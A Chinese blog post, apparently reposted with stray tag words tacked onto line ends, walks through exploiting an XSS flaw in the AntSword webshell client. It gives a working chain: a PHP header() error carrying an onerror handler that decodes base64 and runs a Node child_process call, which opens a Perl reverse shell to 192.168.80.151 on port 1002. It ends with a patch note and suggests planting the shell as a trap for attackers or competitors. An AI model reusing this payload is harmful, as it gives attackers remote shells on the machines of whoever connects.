今日在github上看到蟻劍暴露了一個xss漏洞,本身也常常使用蟻劍。同時在freebuf上也有一篇文章,關於蟻劍漏洞的。閒着沒事測試了一波。php
蟻劍shell遠程鏈接失敗時,蟻劍會返回錯誤信息,但由於使用的是html解析,致使xss漏洞。html
用過蟻劍的童靴都清楚,當咱們遠程鏈接寫好的webshell的時候,有時候可能由於shell書寫錯誤或者連接填寫不當的時候,會出現大堆的錯誤代碼。git
該信息並無進行 XSS 保護,所以可以利用 js 調用 perl 即可反彈***者的shellgithub
不少時候咱們不去注意,但這裏偏偏就是漏洞利用點。(漏洞每每就在你的眼皮地下,你只要向下看看就能找到。惋惜咱們只向前看,不向下看。)web
鑑於本人對js沒有深刻了解,只懂得些皮毛。這裏就直接引用別人寫好的shell了shell
<?php header('HTTP/1.1 500 <img src=# onerror=alert(1)>');?>
bash
Head()函數,向客戶端發送原始的 HTTP 報頭。
當蟻劍遠程鏈接shell的時候就會觸發彈框。socket
require('child_process').exec('perl -e \'use Socket;$i="192.168.80.151";$p=1002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};\'',(error, stdout, stderr)=>{ alert(`stdout: ${stdout}`); });
將這些代碼進行base64加密xss
cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxOTIuMTY4LjgwLjE1MSI7JHA9MTAwMjtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1wnJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7
tcp
構造header
<?php header("HTTP/1.1 406 Not <img src=# onerror='eval(new Buffer(`cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ3BlcmwgLWUgXCd1c2UgU29ja2V0OyRpPSIxOTIuMTY4LjgwLjE1MSI7JHA9MTAwMjtzb2NrZXQoUyxQRl9JTkVULFNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7aWYoY29ubmVjdChTLHNvY2thZGRyX2luKCRwLGluZXRfYXRvbigkaSkpKSl7b3BlbihTVERJTiwiPiZTIik7b3BlbihTVERPVVQsIj4mUyIpO29wZW4oU1RERVJSLCI+JlMiKTtleGVjKCIvYmluL2Jhc2ggLWkiKTt9O1wnJywoZXJyb3IsIHN0ZG91dCwgc3RkZXJyKT0+ewogICAgYWxlcnQoYHN0ZG91dDogJHtzdGRvdXR9YCk7CiAgfSk7`,`base64`).toString())'>"); ?>
將其寫入被***中的網站目錄下
被***機監聽1002端口
***機蟻劍遠程鏈接
得到***者shell
在最新的版本中, 修改了 toastr 能夠輸出 html 的特色,之後均不支持輸出 html。建議及時更新到最新版本
若是你檢測到了本身被上傳了webshell,不妨能夠試一試這個漏洞,對方若是使用的是蟻劍,當對方鏈接你的時候,也是他上線的時候。或者在比賽(zhen shi)環境的時候,故意製造一個這樣的shell,誘惑一些小可愛連一下。